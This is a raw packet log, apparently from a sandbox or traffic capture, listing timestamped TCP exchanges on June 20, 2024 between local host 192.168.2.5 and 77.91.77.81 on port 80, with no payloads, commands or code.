Jun 20, 2024 15:38:06.560012102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560045004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560050011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560072899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560080051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560091019 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560112953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560127974 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560147047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560169935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560179949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560209036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560219049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560234070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560254097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560266972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560287952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560302973 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560322046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560343027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560355902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560378075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560388088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560410976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560424089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560441017 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560478926 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560658932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560710907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560743093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560745955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560766935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560777903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560802937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560811996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560832024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560846090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560863018 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560879946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560902119 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560913086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560933113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560946941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560969114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.560981035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.560998917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561033964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561356068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.561388969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.561422110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.561445951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561454058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.561474085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561474085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561489105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.561499119 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561522961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.561546087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561556101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.561563969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561614037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561639071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.561672926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.561695099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561705112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.561728001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561739922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.561764956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561774015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.561786890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561809063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.561829090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561841965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.561861992 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561876059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.561892033 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.561932087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.562288046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.562321901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.562354088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.562366962 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.562387943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.562411070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.562412024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.562422037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.562433004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.562482119 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.605933905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606043100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606096983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606129885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606164932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606172085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606197119 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606201887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606214046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606237888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606242895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606281042 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606379032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606412888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606446981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606451988 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606471062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606477976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606489897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606513023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606514931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606547117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606554985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606600046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606636047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606671095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606683969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606704950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606718063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606751919 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606841087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606893063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606925011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606959105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.606971025 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.606992960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.607009888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.607028961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.607040882 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.607064009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.607075930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.607160091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.607209921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.607228041 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.607243061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.607276917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.607290983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.607310057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.607321978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.607345104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.607358932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.607378006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.607391119 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.607413054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.607420921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.607446909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.607456923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.607492924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.637054920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.637094021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.637110949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.637236118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.637250900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.637265921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.637281895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.637298107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.637306929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.637306929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.637306929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.637306929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.637360096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.637360096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.637582064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.637598038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.637612104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.637625933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.637643099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.637660027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.637662888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.637693882 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.637708902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.644356966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.644380093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.644395113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.644444942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.644460917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.644500017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.644514084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.644529104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.644548893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.644571066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.644668102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.644684076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.644697905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.644712925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.644726992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.644742966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.644745111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.644773960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.644792080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.644937038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.644953012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645006895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645013094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645023108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645035982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645056009 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645075083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645076036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645091057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645106077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645127058 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645145893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645299911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645313978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645328999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645343065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645358086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645373106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645375967 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645409107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645437002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645531893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645545959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645562887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645608902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645641088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645649910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645664930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645680904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645709991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645740986 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645776033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645791054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645812035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645833015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645837069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645853043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645853043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645868063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645883083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.645885944 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645921946 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.645940065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.646131039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646146059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646159887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646174908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646192074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646226883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.646256924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.646321058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646336079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646351099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646365881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646380901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646397114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.646429062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.646627903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646642923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646660089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646673918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646688938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646703959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646708965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.646718979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646729946 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.646734953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646748066 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.646752119 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646765947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.646766901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646785975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.646800995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.646831036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.647377968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.647453070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.647547007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.647623062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.647736073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.647806883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.647902012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.647917032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.647977114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.648010015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.648077965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.648092985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.648153067 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.648185968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.667819023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.667876959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.667892933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.667923927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.667958021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.667994022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.668008089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.668023109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.668039083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.668046951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.668076038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.668104887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.693336964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.693392992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.693427086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.693461895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.693556070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.693557024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.693557024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.693557024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.693569899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.693624973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.693655014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.693677902 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.693715096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.693748951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.693782091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.693789959 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.693810940 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.693818092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.693831921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.693876028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.694013119 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694046021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694078922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694088936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.694108963 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.694113970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694128990 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.694148064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694174051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.694180965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694192886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.694215059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694235086 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.694250107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694271088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.694283962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694302082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.694334984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.694489002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694521904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694561005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.694581032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.694591045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694629908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.694664001 CEST	49706	80	192.168.2.5	77.91.77.81
